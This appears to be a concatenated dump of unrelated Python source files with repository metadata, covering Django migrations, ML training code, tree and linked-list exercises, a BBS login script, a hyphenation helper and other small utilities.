2022-01-17T14:24:45.000Z
listings/chapter17/parse_markdown.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
1
2021-08-30T06:32:08.000Z
2021-08-30T06:42:46.000Z
listings/chapter17/parse_markdown.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
1
2022-02-17T10:32:17.000Z
2022-02-17T10:32:17.000Z
import markdown file = open('example.md', 'r') text = file.read() html = markdown.markdown(text) print(html)
15.714286
30
0.7
631c79f8983639983ec4731860bb199f3e9b3e96
600
py
Python
preparo_solucoes.py
datachemistry/Analytix
b552aeef59fe8d009b4355a3573c66394693b39d
[ "MIT" ]
1
2021-01-07T19:17:25.000Z
2021-01-07T19:17:25.000Z
preparo_solucoes.py
datachemistry/Analytix
b552aeef59fe8d009b4355a3573c66394693b39d
[ "MIT" ]
null
null
null
preparo_solucoes.py
datachemistry/Analytix
b552aeef59fe8d009b4355a3573c66394693b39d
[ "MIT" ]
null
null
null
from curva_calibracao import Curva class Solucoes(Curva): def __init__(self, vidraria_estoque, vidraria_padrao, pipeta): self.vidraria_estoque = vidraria_estoque self.vidraria_padrao = vidraria_padrao self.pipeta = pipeta def preparo_solucoes(self, curva): ...
26.086957
66
0.628333
2dbe00f9698b17663815870e4586c5bbdeafb8c1
7,318
py
Python
skripte/python/edit_tools/expand_teilwoerter.py
hyphenation/languages-german
4330a0b1254e88615cb4c83e4b3dc2f0810c76d9
[ "MIT" ]
null
null
null
skripte/python/edit_tools/expand_teilwoerter.py
hyphenation/languages-german
4330a0b1254e88615cb4c83e4b3dc2f0810c76d9
[ "MIT" ]
null
null
null
skripte/python/edit_tools/expand_teilwoerter.py
hyphenation/languages-german
4330a0b1254e88615cb4c83e4b3dc2f0810c76d9
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf8 -*- # :Copyright: © 2014 Günter Milde. # Released without warranty under the terms of the # GNU General Public License (v. 2 or later) # :Id: $Id: $ # Erweitern der Wortliste um Kombinationen von Teilwörtern # ===========================================...
28.924901
97
0.539628
ea1f9c74d508702a33bc92f1044f981071ce603d
1,157
py
Python
Problems/Depth-First Search/easy/IncreaseOrderSearchTree/increase_order_search_tree.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Depth-First Search/easy/IncreaseOrderSearchTree/increase_order_search_tree.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Depth-First Search/easy/IncreaseOrderSearchTree/increase_order_search_tree.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right # def increasingBST(self, root: TreeNode, next_in_order = None) -> TreeNode: # if not root: # return next_in_order # # increase_bst = increasingBST(root.left,...
24.617021
76
0.54624
aa393c9eadd3d50b26338a37f365a7977baa3a9a
670
py
Python
server/apps/recommendation/migrations/0002_auto_20190428_2128.py
Mayandev/django_morec
8d115f76ad69d7aa78b07dc06aa7047979ad134b
[ "MIT" ]
129
2019-04-20T08:23:25.000Z
2022-03-14T10:02:23.000Z
server/apps/recommendation/migrations/0002_auto_20190428_2128.py
heartplus/django_morec
8d115f76ad69d7aa78b07dc06aa7047979ad134b
[ "MIT" ]
9
2019-05-19T15:06:17.000Z
2021-12-14T06:47:14.000Z
server/apps/recommendation/migrations/0002_auto_20190428_2128.py
heartplus/django_morec
8d115f76ad69d7aa78b07dc06aa7047979ad134b
[ "MIT" ]
34
2019-05-06T06:37:17.000Z
2021-12-09T02:27:58.000Z
# Generated by Django 2.1.4 on 2019-04-28 21:28 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recommendation', '0001_initial'), ] operations = [ migrations.AddField( model_name='recommendation', name='doubanIds...
24.814815
95
0.585075
a4b9e901a14d04c2d3475ee19e129639fa628786
1,738
py
Python
annb/layers.py
ShisatOwO/ANNb
d48b328dcec0a0da7a5b131f722f11cc30195975
[ "MIT" ]
1
2021-05-03T09:31:12.000Z
2021-05-03T09:31:12.000Z
annb/layers.py
ShisatOwO/ANNb
d48b328dcec0a0da7a5b131f722f11cc30195975
[ "MIT" ]
null
null
null
annb/layers.py
ShisatOwO/ANNb
d48b328dcec0a0da7a5b131f722f11cc30195975
[ "MIT" ]
null
null
null
import numpy as np from dataclasses import dataclass from annb.actfunc import Actfunc from annb.optimizer import * from annb.templates import * class DenseLayer(Layer): def __init__(self, connections: int, neurons: int) -> None: """Initialisiert Layer mit angegebener Anzahl an Neuronen und legt die Ange...
43.45
122
0.660529
104b9cefe30d1911776be542a2ffe35d3d36dd94
685
py
Python
src/comex_stat/assets/migrations/0006_auto_20181115_0206.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
src/comex_stat/assets/migrations/0006_auto_20181115_0206.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
src/comex_stat/assets/migrations/0006_auto_20181115_0206.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
# Generated by Django 2.1.2 on 2018-11-15 02:06 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('assets', '0005_auto_20181115_0203'), ] operations = [ migrations.AlterField( model_name='ncm', name='ncm_name_en', ...
23.62069
47
0.554745
52e1a0b212a9b3c780132918a51a01a671ea827c
7,062
py
Python
research/cv/rcnn/src/common/trainer.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/rcnn/src/common/trainer.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/rcnn/src/common/trainer.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
37.168421
119
0.58128
525d77bf4a4316e01e0300e4ae728c33fc97eb64
520
py
Python
Misc/Deja_vu/solution1.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
165
2020-10-03T08:01:11.000Z
2022-03-31T02:42:08.000Z
Misc/Deja_vu/solution1.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
383
2020-10-03T07:39:11.000Z
2021-11-20T07:06:35.000Z
Misc/Deja_vu/solution1.py
gbrls/CompetitiveCode
b6f1b817a655635c3c843d40bd05793406fea9c6
[ "MIT" ]
380
2020-10-03T08:05:04.000Z
2022-03-19T06:56:59.000Z
""" solution 1 author: fr4nkl1n-1k3h de ja vu """ def dejavu(string): if len(string) == len(set(string)): #set() removes duplicates from a string. So if set(string) is same as actual string, then it is unique return "Unique" elif len(string) > len(set(string)): #Else, it contains duplicates and hence not unique ...
21.666667
140
0.682692
bfed5b2eaf78af4b702acb973ea95b2db82391e1
31,690
py
Python
deprecated/benchmark/ps/distribute_ctr/paddle/distribute_base.py
hutuxian/FleetX
843c7aa33f5a14680becf058a3aaf0327eefafd4
[ "Apache-2.0" ]
170
2020-08-12T12:07:01.000Z
2022-03-07T02:38:26.000Z
deprecated/benchmark/ps/distribute_ctr/paddle/distribute_base.py
hutuxian/FleetX
843c7aa33f5a14680becf058a3aaf0327eefafd4
[ "Apache-2.0" ]
195
2020-08-13T03:22:15.000Z
2022-03-30T07:40:25.000Z
deprecated/benchmark/ps/distribute_ctr/paddle/distribute_base.py
hutuxian/FleetX
843c7aa33f5a14680becf058a3aaf0327eefafd4
[ "Apache-2.0" ]
67
2020-08-14T02:07:46.000Z
2022-03-28T10:05:33.000Z
#!/usr/bin/python # Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless...
43.410959
121
0.599211
87509b24f668d24891a1b778d0e814c07916f7eb
297
py
Python
WiFiBroot-master/wireless/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
WiFiBroot-master/wireless/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
WiFiBroot-master/wireless/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
from wireless.shifter import Shifter from wireless.sniper import Sniper from wireless.cracker import PSK from wireless.cracker import eAPoL from wireless.pmkid import PMKID from wireless.captures import CAPTURE_PMKID from wireless.captures import CAPTURE_HAND from wireless.connector import DEAUTH
37.125
43
0.868687
5e6a55028e06a27721e30b82a5d54f957037e362
1,801
py
Python
.venv/Lib/site-packages/dexpy/tests/test_power.py
AI-Assistant/FEMAG-Python
ff86e8f41485ae9df6034e6b8e810b59f8094c70
[ "MIT" ]
21
2016-10-19T18:13:03.000Z
2021-11-02T13:58:31.000Z
.venv/Lib/site-packages/dexpy/tests/test_power.py
AI-Assistant/FEMAG-Python
ff86e8f41485ae9df6034e6b8e810b59f8094c70
[ "MIT" ]
43
2016-10-11T20:56:28.000Z
2020-08-20T16:39:38.000Z
.venv/Lib/site-packages/dexpy/tests/test_power.py
AI-Assistant/FEMAG-Python
ff86e8f41485ae9df6034e6b8e810b59f8094c70
[ "MIT" ]
6
2017-12-22T03:47:37.000Z
2021-03-13T03:45:26.000Z
from unittest import TestCase import math import dexpy.design as design import dexpy.power as power import numpy as np import itertools import pandas as pd class TestPower(TestCase): """Tests for calculating power.""" @classmethod def test_quadratic_power(cls): """Test power for a quadratic model...
31.596491
111
0.598556
5e9fd17eab44f118103bdd1dfb102db50c8708ab
314
py
Python
src/template.py
xiaonanln/python-usaco
8f0fef19cb5f89232d985f79d955f0de5ef4e10d
[ "MIT" ]
null
null
null
src/template.py
xiaonanln/python-usaco
8f0fef19cb5f89232d985f79d955f0de5ef4e10d
[ "MIT" ]
null
null
null
src/template.py
xiaonanln/python-usaco
8f0fef19cb5f89232d985f79d955f0de5ef4e10d
[ "MIT" ]
null
null
null
""" ID: isaiahl1 LANG: PYTHON2 TASK: test """ TASK = 'test' def readints(fin): return tuple(int(x) for x in fin.readline().split()) def readint(fin): return int(fin.readline()) def main(fin, fout): pass fin = open (TASK + '.in', 'r') fout = open (TASK + '.out', 'w') with fin: with fout: main(fin, fout)
14.272727
53
0.621019
218cf700ae284c6f5e23c372b9abf3d689d2bb9c
5,991
py
Python
apps/projects/migrations/0001_initial.py
IT-PM-OpenAdaptronik/Webapp
c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4
[ "MIT" ]
2
2017-12-17T21:28:22.000Z
2018-02-02T14:44:58.000Z
apps/projects/migrations/0001_initial.py
IT-PM-OpenAdaptronik/Webapp
c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4
[ "MIT" ]
118
2017-10-31T13:45:09.000Z
2018-02-24T20:51:42.000Z
apps/projects/migrations/0001_initial.py
OpenAdaptronik/Rattler
c3bdde0ca56b6d77f49bc830fa2b8bb41a26bae4
[ "MIT" ]
null
null
null
# Generated by Django 2.0 on 2018-02-23 20:18 import apps.projects.models from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] ...
51.205128
233
0.597229
df173e56c4326425b37586f394ba920b64148597
951
py
Python
BITs/2014/Gasanov_A_F/Zadacha9.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Gasanov_A_F/Zadacha9.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Gasanov_A_F/Zadacha9.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Задача №9 #Создать игру, в которой компьютер выбирает какое-либо слово, а игрок должен его отгадать. #Компьютер сообщает игроку, сколько букв в слове, и дает пять попыток узнать, есть ли какая-либо буква в слове, причем программа может отвечать только "Да" и "Нет". #Вслед за тем игрок должен попробовать отгадать с...
30.677419
166
0.688749
df30c5fc51df51934c3dc7af5a44ccb65c259d3d
2,522
py
Python
ds/practice/daily_practice/20-07/assets/code/merge_two_linked_lists.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
ds/practice/daily_practice/20-07/assets/code/merge_two_linked_lists.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
ds/practice/daily_practice/20-07/assets/code/merge_two_linked_lists.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
from __future__ import annotations # Definition for singly-linked list. class ListNode: def __init__(self, val: int = 0, next: ListNode = None): self.val = val self.next = next def __str__(self): return f"ListNode({self.val}, {self.next})" # Helper function to (re)construct linked li...
28.659091
73
0.601507
33a30db925710be32933093c850385ce17f787ba
4,120
py
Python
Packs/CommonScripts/Scripts/SetAndHandleEmpty/SetAndHandleEmpty_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
2
2021-12-06T21:38:24.000Z
2022-01-13T08:23:36.000Z
Packs/CommonScripts/Scripts/SetAndHandleEmpty/SetAndHandleEmpty_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
87
2022-02-23T12:10:53.000Z
2022-03-31T11:29:05.000Z
Packs/CommonScripts/Scripts/SetAndHandleEmpty/SetAndHandleEmpty_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
import SetAndHandleEmpty import pytest set_and_handle_empty = SetAndHandleEmpty.main data_test_set_and_handle_empty_with_value = [ ('key', 'value', {'key': 'value'}), ('key', '["val0", "val1", "val2"]', {'key': ['val0', 'val1', 'val2']}), ('key', '{"key_inside": "val_inside"}', {'key': {"key_inside": "val...
41.616162
121
0.665049
1d1e10ed35bc3925fa9968e0ad372c8f200c74e7
157
py
Python
lang-python/gui-basics/gui-sample.py
xd23fe39/technical-notes
bb6348705a95db24d07b1081b1aa0265dda131ce
[ "MIT" ]
null
null
null
lang-python/gui-basics/gui-sample.py
xd23fe39/technical-notes
bb6348705a95db24d07b1081b1aa0265dda131ce
[ "MIT" ]
null
null
null
lang-python/gui-basics/gui-sample.py
xd23fe39/technical-notes
bb6348705a95db24d07b1081b1aa0265dda131ce
[ "MIT" ]
null
null
null
# # # sudo apt-get install python-tk # # Import TKinter from Tkinter import * root = Tk() w = Label(root, text="Hello Tkinter!") w.pack() root.mainloop()
11.214286
38
0.66242
1d5f7445edd44939fc13d705380ba89684f5e207
413
py
Python
speakerphat/ttsespeak.py
gbesancon/projects
7a9da629dddcf21fbe5c043d86b00036f80cbe14
[ "MIT" ]
null
null
null
speakerphat/ttsespeak.py
gbesancon/projects
7a9da629dddcf21fbe5c043d86b00036f80cbe14
[ "MIT" ]
1
2022-03-02T10:43:58.000Z
2022-03-02T10:43:58.000Z
speakerphat/ttsespeak.py
gbesancon/projects
7a9da629dddcf21fbe5c043d86b00036f80cbe14
[ "MIT" ]
null
null
null
#!/usr/bin/env python import sys import os #from espeak import espeak # hanging in the is_playing loop #def speak(text): # espeak.synth(text) # while espeak.is_playing: # pass def speak(text): command = 'espeak "' + text + '"' os.system(command) def main(): text = sys.argv[1] pr...
15.884615
35
0.578692
1da0b36cca66e5795fc879bad85bb0c4ef2375ff
680
py
Python
opencv_tutorial/opencv_python_tutorials/Image_Processing/hough_circle_transform.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
opencv_tutorial/opencv_python_tutorials/Image_Processing/hough_circle_transform.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
opencv_tutorial/opencv_python_tutorials/Image_Processing/hough_circle_transform.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Thu Apr 4 16:02:33 2019 @author: jone """ import cv2 import numpy as np img = cv2.imread('img/logo.png') img = cv2.medianBlur(img, 5) img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) circles = cv2.HoughCircles(img_gray, cv2.HOUGH_GRADIENT, 1, 20, pa...
25.185185
74
0.626471
1da4eabde771a90da657a4af425616106a263340
503
py
Python
20-fs-ias-lec/groups/06-longFi/localEther/test.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
20-fs-ias-lec/groups/06-longFi/localEther/test.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
20-fs-ias-lec/groups/06-longFi/localEther/test.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
from logStore.transconn.database_connector import DatabaseConnector import cbor2 import event dc = DatabaseConnector() feed_ids = dc.get_all_feed_ids() n = dc.get_current_seq_no(feed_ids[1]) print("seq num:", n, "(feed 1)") tmp = 0 for i in range(0, n + 1): l = cbor2.loads(dc.get_event(feed_ids[1], i)) tmp...
22.863636
68
0.640159
d52ea1c94d2fbdd8a87b359e51f0d6b981289ad7
260
py
Python
python/python_backup/Python_Progs/Resolution_JPEG_Img.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/python_backup/Python_Progs/Resolution_JPEG_Img.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/python_backup/Python_Progs/Resolution_JPEG_Img.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
def jpeg_res(filename): with open(filename,'rb') as img_file: img_file.seek(163) a=img_file.read(2) height=(a[0]<<8)+a[1] a=img_file.read(2) width=(a[0]<<8)+a[1] print("The resolution of the image is : ",width,"x",height) jpeg_res("img1.jpg")
17.333333
60
0.646154
63b75d73c56f9a789bcc7c1cb3282d2a8bf8e2ca
497
py
Python
code/Logic.py
ju1-eu/pyAnfaenger
59440e99d69582ee2c7a022c8b819e7c78f41ac0
[ "MIT" ]
null
null
null
code/Logic.py
ju1-eu/pyAnfaenger
59440e99d69582ee2c7a022c8b819e7c78f41ac0
[ "MIT" ]
null
null
null
code/Logic.py
ju1-eu/pyAnfaenger
59440e99d69582ee2c7a022c8b819e7c78f41ac0
[ "MIT" ]
null
null
null
"""" == (Equal) < (Less than) > (Greater than) != (Not equal) <= (Less or equal than) >= (Greater or equal than) """ pleite = False # bool if pleite is True:# == print("I have no money!") else: print("I have money!") bank_account = 1000 # int if bank_account < 10000: print("You have to money!") else: ...
17.137931
36
0.60161
98320a2d5671d0acd69ea82c129b5530fa4d4086
263
py
Python
renderers/base.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
2
2021-01-07T01:10:49.000Z
2022-01-21T09:37:16.000Z
renderers/base.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
renderers/base.py
etigerstudio/zilong-on-fire
5144a471b2d39ea38a47d394e648de00dd13cd8b
[ "MIT" ]
null
null
null
# Base renderer class declaration class BaseRenderer: def setup(self, info=None): raise NotImplementedError def update(self, state, info=None): raise NotImplementedError def close(self, info=None): raise NotImplementedError
21.916667
39
0.695817
983e94bb9709ab5f624de5018c65ceac525d61c3
12,524
py
Python
research/nlp/ktnet/src/layers.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/nlp/ktnet/src/layers.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/nlp/ktnet/src/layers.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
47.984674
118
0.649393
c38a75ac92fb7dfe8504d3ced55e91847735dc4b
641
py
Python
challenges/isUppercase/python3/isUppercase.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
5
2020-05-21T03:02:34.000Z
2021-09-06T04:24:26.000Z
challenges/isUppercase/python3/isUppercase.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
6
2019-04-24T03:39:26.000Z
2019-05-03T02:10:59.000Z
challenges/isUppercase/python3/isUppercase.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
1
2021-09-06T04:24:27.000Z
2021-09-06T04:24:27.000Z
def isUppercase(symbol): return symbol >= 'A' and symbol <= 'Z' if __name__ == '__main__': input0 = ["A", "a", "0", "3", "-", "M", "x", "l", ".", "U"] expectedOutput = [True, False, False, False, False, True, False, False, False, True] assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOutput = {...
58.272727
123
0.653666
c391c665d0dabdbe149dfe04bd9f686c973abd39
38
py
Python
modules/cerfaWriter/__init__.py
cloud441/Procerfa
7472aeecc4eb3003e2e0f09bb0ae71f1b33e9ccf
[ "MIT" ]
null
null
null
modules/cerfaWriter/__init__.py
cloud441/Procerfa
7472aeecc4eb3003e2e0f09bb0ae71f1b33e9ccf
[ "MIT" ]
null
null
null
modules/cerfaWriter/__init__.py
cloud441/Procerfa
7472aeecc4eb3003e2e0f09bb0ae71f1b33e9ccf
[ "MIT" ]
null
null
null
from .cerfa_writer import CerfaWriter
19
37
0.868421
c3f6861433dc103300598322b0876477585a1666
2,148
py
Python
skil/deployments.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
23
2018-09-19T13:34:27.000Z
2022-02-14T09:49:35.000Z
skil/deployments.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
33
2018-10-18T07:58:05.000Z
2019-05-16T08:24:12.000Z
skil/deployments.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
11
2018-10-21T18:58:57.000Z
2022-02-14T09:49:36.000Z
import skil_client from .base import Skil import uuid import json class Deployment: """Deployments operate independently of workspaces to ensure that there are no accidental interruptions or mistakes in a production environment. # Arguments: skil: `Skil` server instance. If `None`, SKIL will load...
31.130435
83
0.621974
4eea7a2b9b62c530b23d8f3258d8cf5dbd0cf9bd
701
py
Python
Problem Solving/Mathematics/Fundamentals/Minimum Height Triangle/lowest_triangle.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
1
2021-02-22T17:37:45.000Z
2021-02-22T17:37:45.000Z
Problem Solving/Mathematics/Fundamentals/Minimum Height Triangle/lowest_triangle.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
Problem Solving/Mathematics/Fundamentals/Minimum Height Triangle/lowest_triangle.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
#!/bin/python3 import math import os import random import re import sys # # Complete the 'lowestTriangle' function below. # # The function is expected to return an INTEGER. # The function accepts following parameters: # 1. INTEGER trianglebase # 2. INTEGER area # def lowestTriangle(trianglebase, area): # Write...
18.945946
51
0.704708
142d3f9d40c3c5e69d1bdea17c921c73a915e92c
4,120
py
Python
dispatchers.py
jibonaronno/RP2040AudioRecord
c31824129d8b603ae2662bbba5bcc63d1213556b
[ "CC0-1.0" ]
null
null
null
dispatchers.py
jibonaronno/RP2040AudioRecord
c31824129d8b603ae2662bbba5bcc63d1213556b
[ "CC0-1.0" ]
null
null
null
dispatchers.py
jibonaronno/RP2040AudioRecord
c31824129d8b603ae2662bbba5bcc63d1213556b
[ "CC0-1.0" ]
null
null
null
import sys import serial from serial import Serial import pprint import time import enum import queue from queue import Queue from os.path import join, dirname, abspath from qtpy.QtCore import Slot, QTimer, QThread, Signal, QObject, Qt, QMutex class PrimaryThread(QObject): signal = Signal(str) def __init__(se...
30.072993
74
0.471602
d328b8bd9695e35e85a14e2a3895933f8c72379d
5,106
py
Python
Metadataextraction/similar_api.py
corneliazy/Geosoftware2
8604c79c58a61b84c602f16b5f1e74e30dfcbd0e
[ "MIT" ]
null
null
null
Metadataextraction/similar_api.py
corneliazy/Geosoftware2
8604c79c58a61b84c602f16b5f1e74e30dfcbd0e
[ "MIT" ]
47
2018-11-13T13:55:01.000Z
2019-09-16T13:38:11.000Z
Metadataextraction/similar_api.py
corneliazy/Geosoftware2
8604c79c58a61b84c602f16b5f1e74e30dfcbd0e
[ "MIT" ]
4
2018-11-27T12:36:51.000Z
2020-10-14T18:07:04.000Z
import math import extractTool # used for the the transformation and prints # used for the the transformation and prints import click # used to print something import os """ Function for calling up all important fuctions :returns: similarity score of two geospatial files """ def master(bbox1, bbox2, type1, t...
32.316456
273
0.655503
9f35521c9a27ba9bb2486ecb3e02d3aacfca984b
2,530
py
Python
src/constants.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
14
2021-08-24T12:36:37.000Z
2022-03-18T12:14:36.000Z
src/constants.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
null
null
null
src/constants.py
krangelie/bias-in-german-nlg
9fbaf50fde7d41d64692ae90c41beae61bc78d44
[ "MIT" ]
1
2021-10-21T20:22:55.000Z
2021-10-21T20:22:55.000Z
"""Constants for controllable biases code.""" from bidict import bidict # Model parameters. BC = "biascontext" HEAD = "head" BODY = "body" GPT2 = "gpt2" GPTNEO = "gpt-neo" DIALOGPT = "dialogpt" PAD_TOKEN_ID = -100 # Bias contexts. KNOWN = "galt als" DESCRIBED = "wurde beschrieben als" REGARDED = "wurde betrachtet ...
19.461538
76
0.640316
980c8eb2a0dbdc9b84f3c33170d70e00c0607578
8,182
py
Python
bbs/matrix.py
euphoriabbs/dark
6c2252181e95522d8fa718e2ef3b9e4395494457
[ "MIT" ]
1
2018-03-01T06:26:40.000Z
2018-03-01T06:26:40.000Z
bbs/matrix.py
euphoriabbs/dark
6c2252181e95522d8fa718e2ef3b9e4395494457
[ "MIT" ]
null
null
null
bbs/matrix.py
euphoriabbs/dark
6c2252181e95522d8fa718e2ef3b9e4395494457
[ "MIT" ]
null
null
null
""" Default matrix (login) script for x/84. """ # std import logging import random import time import os from x84.bbs import getterminal, get_ini, goto, gosub from x84.bbs import echo, showart, syncterm_setfont, LineEditor from x84.bbs import find_user, get_user, User from x84.engine import __url__ log = logging.get...
29.014184
79
0.652286
2cb306bb553721a6c44ea930b489b66b17ee42bb
741
py
Python
tag_2/p_7_satz_von_pick.py
techrabbit58/uebung_informatik_vorkurs
e99312ae66ccccd6bfe45bfd3c3f43c01690659c
[ "Unlicense" ]
null
null
null
tag_2/p_7_satz_von_pick.py
techrabbit58/uebung_informatik_vorkurs
e99312ae66ccccd6bfe45bfd3c3f43c01690659c
[ "Unlicense" ]
null
null
null
tag_2/p_7_satz_von_pick.py
techrabbit58/uebung_informatik_vorkurs
e99312ae66ccccd6bfe45bfd3c3f43c01690659c
[ "Unlicense" ]
null
null
null
